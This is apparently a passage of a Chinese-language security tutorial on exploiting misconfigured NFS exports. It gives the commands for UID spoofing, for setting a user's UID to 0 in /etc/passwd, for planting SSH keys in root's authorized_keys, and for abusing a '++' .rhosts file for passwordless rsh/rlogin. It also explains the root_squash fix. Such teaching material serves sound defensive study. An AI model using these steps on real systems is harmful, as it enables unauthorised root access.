UID操作
如果对于共享上的文件我们没有读取权限该怎么办?其实这也很简单,我们可以伪造文件所有者的UID来欺骗NFS服务器。以下展示的是NFS文件访问拒绝提示:
首先,我们通过以下命令来获取文件所有者的UID(用户ID)和GUID(组ID)。
ls -al
接着,我们在本地创建一个新用户,并将该用户的UID和名称修改为与文件所有者相同。
useradd <user> passwd <user> |
UID可以在passwd文件中更改。
vi /etc/passwd
从挂载的文件夹执行su命令,并使用之前创建的已知密码,此时当前用户将会被切换到新用户。
su <useraccount>
由于该文件的UID与新用户的UID相同,因此系统会误认为这是文件权限的所有者,这样我们就可以以一个合法的用户身份来读取文件的内容了。
之所以造成这种问题,原因在于导出文件夹并未设置root_squash选项。root_squash登入NFS主机,使用该共享目录时相当于该目录的拥有者。但是如果是以root身份使用这个共享目录的时候,那么这个使用者(root)的权限将被压缩成为匿名使用者,即通常他的UID与GID都会变成nobody那个身份,以防止越权访问。
可以在以下位置启用或禁用root_squash选项:
vi /etc/exports
/home 192.168.1.47(root_squash) // Enables Root Squash /home 192.168.1.47(no_root_squash) // Disables Root Squash |
如果passwd文件具有写入权限,那么我们可以通过将一些非特权用户的UID更改为0,使其具有根级别的访问权限。从下图中可以看到,我将service用户的UID修改为了0,此时该用户将具备root的访问权限。
通过SSH连接命令再次与目标服务器建立连接,service将获取到一个root访问权限。
shell访问
根据存储在导出文件夹中的文件,可能可以通过SSH或RSH和Rlogin来获取到shell访问权限。 我们着重来关注以下两个文件:
authorized_keys rhosts |
这两个文件都隐藏在NFS文件夹中,我们可以利用以下命令来确定这些文件的存在。
ls -al
生成一个SSH密钥对并将其公钥添加到授权密钥列表中,那样我们就可以通过NFS服务器上的SSH与其建立连接了。
cd /root/.ssh/ ssh-keygen -t rsa -b 4096 cp /root/.ssh/id_rsa.pub /temp/root/.ssh/ cat id_rsa.pub >> /temp/root/.ssh/authorized_keys ssh -i /root/.ssh/id_rsa root@192.168.1.189 |
.rhosts文件用来配置哪些远程主机或用户可以访问系统上的本地帐户。如果.rhosts文件的内容为++符号,则说明它允许来自网络上的任何主机和用户的连接。
cat .rhosts ++ |
以下命令将允许系统的root用户直接连接目标系统,系统将不会提示密码输入,因为来自系统的所有用户都将被信任。
rsh -l root IP rlogin -l root IP |
或者如果.rhosts的内容不同,则检查文件将有助于确定哪些主机和用户是可信的,因此可以在无需密码的情况下进行身份验证。
上文内容不用于商业目的,如涉及知识产权问题,请权利人联系博为峰小编(021-64471599-8017),我们将立即处理。